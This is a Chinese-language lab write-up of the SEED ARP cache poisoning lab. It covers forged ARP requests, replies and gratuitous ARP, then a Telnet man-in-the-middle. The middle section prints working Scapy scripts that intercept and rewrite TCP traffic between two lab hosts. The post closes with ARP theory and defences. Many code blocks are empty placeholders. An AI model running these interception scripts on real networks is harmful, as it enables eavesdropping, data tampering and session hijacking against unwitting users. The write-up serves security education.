准备
基本环境
我使用的是Ubuntu 24.04.4 LTS 64位 的虚拟机
- CPU:4 核
- 内存:8GB
- 硬盘:50GB
- 网络:NAT模式
刷新系统包
|
|
安装基础工具与docker依赖
|
|
添加 Docker 的官方 GPG 密钥以确保下载的软件包安全
|
|
将 Docker 的稳定版仓库添加到 APT 源中,再次更新软件源以包含 Docker 仓库中的包
|
|
安装 Docker CE(社区版 )、Docker CE CLI 和 Containerd
|
|
启动 Docker 服务并设置为开机自启
|
|
安装docker compose
|
|
遇到问题:验证时报错,没有显示docker版本
确认下载的文件
1head -n 5 /usr/local/bin/docker-compose显示Not Found,说明没有安装成功,卸载并重装
1 2 3sudo rm -f /usr/local/bin/docker-compose sudo rm -f /usr/bin/docker-compose sudo rm -f /bin/docker-compose
实验环境
使用 git 下载实验文件
|
|
启动实验环境:
|
|
遇到问题:docker compose一切正常,但这里却报错
/usr/local/bin/docker-compose:行 1:Not:未找到命令判断是因为命令指向旧路径,清理 hash 缓存
1hash -r让
docker-compose指向新版
1sudo ln -s /usr/bin/docker /usr/local/bin/docker-compose之后又报错:
1 2the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion unable to get image 'handsonsecurity/seed-ubuntu:large': permission denied while trying to connect to the docker API at unix:///var/run/docker.sock判断是执行权限不足,命令前加sudo解决
![]()
出现这个报错
the attributeversionis obsolete, it will be ignored, please remove it to avoid potential confusion是因为
docker-compose.yml文件中的version:字段在 Docker Compose v1.27.0+ 和 v2 中已经被弃用,不再需要指定,因此手动编辑删除即可![]()
记录三个主机:
- Host A:10.9.0.5
- Host B:10.9.0.6
- Attacker:10.9.0.105
任务一:ARP 缓存投毒
ARP 协议本身不具备认证机制,主机在接收到 ARP 报文时,会根据报文中的 IP-MAC 映射信息更新本地缓存,而不会验证该信息的真实性。这使得攻击者可以通过构造伪造报文实现缓存投毒
Task 1.A:ARP Request 进行缓存投毒
实验目标:使 Host A 错误地将伪造 IP (10.9.0.99) 映射到攻击者指定的 MAC 地址
方法:构造 ARP Request,广播伪造数据包
进入容器 M
|
|
切换到共享目录并创建攻击脚本
|
|
代码如下:
|
|
运行脚本
|
|
查看攻击者MAC
|
|
打开另一个终端,进入容器 A 查看 ARP 缓存
|
|
Host A 出现伪造 IP 10.9.0.99,对应攻击者 MAC 地址
结论:ARP Request 可直接生成伪造缓存,当 Host A 向该 IP 发起通信时,会把数据发到攻击者的 MAC
Task 1.B:ARP Reply 投毒
实验目标:验证未经请求的 ARP Reply 报文能否篡改受害者的 ARP 缓存
方法:构造 ARP Reply,广播伪造数据包,分别针对 Host A 缓存中存在和不存在的 IP 进行测试
缓存中不存在IP
在容器M构造 ARP Reply 包(op=2 ),宣告一个 Host A 缓存中不存在的 IP
|
|
修改脚本:op=2 ,psrc="10.9.0.98"
|
|
运行脚本
|
|
在容器 A 查看 ARP 缓存,缓存没有新增
缓存中存在IP
在容器M构造 ARP Reply 包(op=2 ),宣告一个 Host A 缓存中存在的 IP,但修改其 MAC 地址
|
|
修改脚本:psrc="10.9.0.99"
加入一行:hwsrc="11:11:11:11:11:11"
|
|
运行脚本
|
|
在容器 A 查看 ARP 缓存, MAC 被篡改
结论:出于安全防御机制,Linux 系统通常不会为未请求过的 IP 创建新的 ARP 缓存条目,但会更新已有条目
Task 1.C:ARP 无端报文
实验目标:测试源 IP 和目的 IP 相同的特殊广播 ARP 报文的投毒效果
方法:在攻击者 M 中发送无端 ARP 广播包,分别针对 Host A 缓存中存在和不存在的 IP 进行测试
缓存中不存在IP
在容器M构造 ARP Gratuitous 包(psrc=pdst ),宣告一个 Host A 缓存中不存在的 IP
|
|
修改脚本:psrc="10.9.0.98",pdst="10.9.0.98"
|
|
运行脚本
|
|
在容器 A 查看 ARP 缓存,缓存没有新增
缓存中存在IP
在容器M构造 ARP Gratuitous 包(psrc=pdst ),宣告一个 Host A 缓存中存在的 IP,但修改其 MAC 地址
|
|
修改脚本:psrc="10.9.0.99",pdst="10.9.0.99",hwsrc="aa:bb:cc:dd:ee:ff"
|
|
运行脚本
|
|
在容器 A 查看 ARP 缓存, MAC 被篡改
结论:与 Task 1.B 完全一致。无端 ARP 只能更新受害者缓存中已有的记录,无法凭空捏造新记录。
任务二:Telnet 中间人攻击
实验目标:拦截 Host A 与 Host B 之间的 Telnet 流量,并将用户输入的所有字母篡改为
A
双向投毒
攻击者持续发送 ARP 伪造包,使:
- A 认为 B 的 MAC 是攻击者
- B 认为 A 的 MAC 是攻击者
在容器M构造投毒脚本
|
|
代码如下:
|
|
运行脚本,可以看到M在持续广播数据包
|
|
容器 A 查看 ARP 缓存,可以发现显示的是容器B的IP地址和攻击者的MAC
容器 B 查看 ARP 缓存,可以发现显示的是容器A的IP地址和攻击者的MAC
IP 转发
投毒完成后,攻击者实际上变成a与b的路由器,因此m开不开启IP转发会对A与B的通信产生影响
原来的终端不动,重新打开一个终端,进入容器M,关闭IP转发
|
|
主机A ping主机B,发现大量丢包
数据包被骗到了 M 这里,但 M 关闭了路由转发功能,所以包被 M 直接丢弃了
攻击者开启IP转发
|
|
主机A ping主机B,发现没有丢包
ping的过程中攻击者打开icmp监听
|
|
可以看到大量 ICMP 重定向消息
M 开启了转发,所以包能到达 B。但 M 发现 A 其实可以直接联系 B(在同一个子网 ),于是 M 遵守 ICMP 协议提醒 A 走错了路。
数据篡改
在攻击者 M 中关闭IP转发,随后通过 Python 篡改脚本来实现篡改信息内容的目的
在容器M构造脚本
|
|
遇到问题:输入以后什么也不显示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25#!/usr/bin/env python3 from scapy.all import * A_IP = "10.9.0.5" B_IP = "10.9.0.6" def process(pkt): if pkt.haslayer(IP) and pkt.haslayer(TCP): # A -> B if pkt.haslayer(Raw) and pkt[IP].src == A_IP and pkt[TCP].dport == 23: data = pkt[Raw].load newdata = b'A' * len(data) pkt[Raw].load = newdata del pkt[IP].chksum del pkt[TCP].chksum send(pkt) # B -> A elif pkt[IP].src == B_IP: del pkt[IP].chksum del pkt[TCP].chksum send(pkt) sniff(filter="tcp", prn=process, store=0)脚本不显示字符是因为缺少了对攻击者自身发出包的过滤逻辑(src == MY_MAC),导致脚本陷入“抓取->伪造发送->再次抓取”的死循环。这引发了极其严重的包冲突和重传风暴,使正常的 Telnet 回显流量无法到达终端。解决方法是获取攻击者网卡 MAC 地址并在处理前加一行 if 判断跳过自身发出的包
虽然显示成功了,但输入几个字符就会卡死
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30#!/usr/bin/env python3 from scapy.all import * import re IP_A = "10.9.0.5" IP_B = "10.9.0.6" def spoof_pkt(pkt): # A -> B if pkt.haslayer(TCP) and pkt[IP].src == IP_A and pkt[IP].dst == IP_B: if pkt[TCP].payload: old_data = pkt[TCP].payload.load new_data = re.sub(rb'[a-zA-Z]', b'A', old_data) # 构造新包并清除校验和让 Scapy 重新计算 newpkt = IP(bytes(pkt[IP])) del(newpkt.chksum) del(newpkt[TCP].chksum) newpkt[TCP].payload = Raw(load=new_data) send(newpkt, verbose=False) # B -> A elif pkt.haslayer(TCP) and pkt[IP].src == IP_B and pkt[IP].dst == IP_A: newpkt = IP(bytes(pkt[IP])) del(newpkt.chksum) del(newpkt[TCP].chksum) send(newpkt, verbose=False) f = f'tcp and (host {IP_A} and host {IP_B})' sniff(iface='eth0', filter=f, prn=spoof_pkt)通过设置 store=0 杜绝内存堆积,配合 MAC 过滤防止嗅探回环死循环,并采用 1:1 字节等长替换确保 TCP 序列号对齐,彻底解决了 Scapy 脚本导致的网络卡死与连接中断
最终代码如下:
|
|
关闭内核转发并运行脚本
如果不关闭,系统会抢在你的脚本之前把包发走,篡改就失效了
|
|
同时运行双向投毒脚本和mitm脚本,然后主机A对B发起Telnet连接
|
|
在登陆这里输入任何字符都会变成 A,说明数据在传输过程中被修改
任务三:Netcat 中间人攻击
目标:精准替换字符串
步骤:
建立连接:
|
|
攻击者:
|
|
发送:
|
|
结果:
|
|
二、ARP 攻击原理
ARP 协议原理
ARP 用于建立: IP地址 ↔ MAC地址 映射关系
通信流程:
- 广播 ARP 请求
- 目标主机响应
- 返回 MAC 地址
- 写入缓存
ARP 缓存机制
每个主机维护缓存表
特点:
- 有超时(约 60–120 秒)
- 可被更新覆盖
安全问题
ARP 是无状态协议
任何主机收到 ARP 响应: → 直接更新缓存
导致: ARP 可被欺骗
ARP 缓存中毒攻击
原理:伪造 ARP 响应
攻击过程:
- 发送假 ARP
- 受害者更新缓存
- 流量流向攻击者
- 实现中间人攻击
攻击效果
- 窃听通信
- 篡改数据
- 会话劫持
- 拒绝服务
防御方法
- 静态 ARP 绑定
- 动态 ARP 检测(DAI)
- 端口安全
- 使用加密协议(HTTPS / SSH)
实验核心结论总结
ARP Request: 可以直接创建伪造记录
ARP Reply: 只能修改已有记录
MITM 成功条件:
- 双向投毒
- 控制流量路径
TCP 篡改关键点: 数据长度必须一致,否则连接会断开
参考
Ubuntu 24.04 安装 docker 并配置镜像源 - 知乎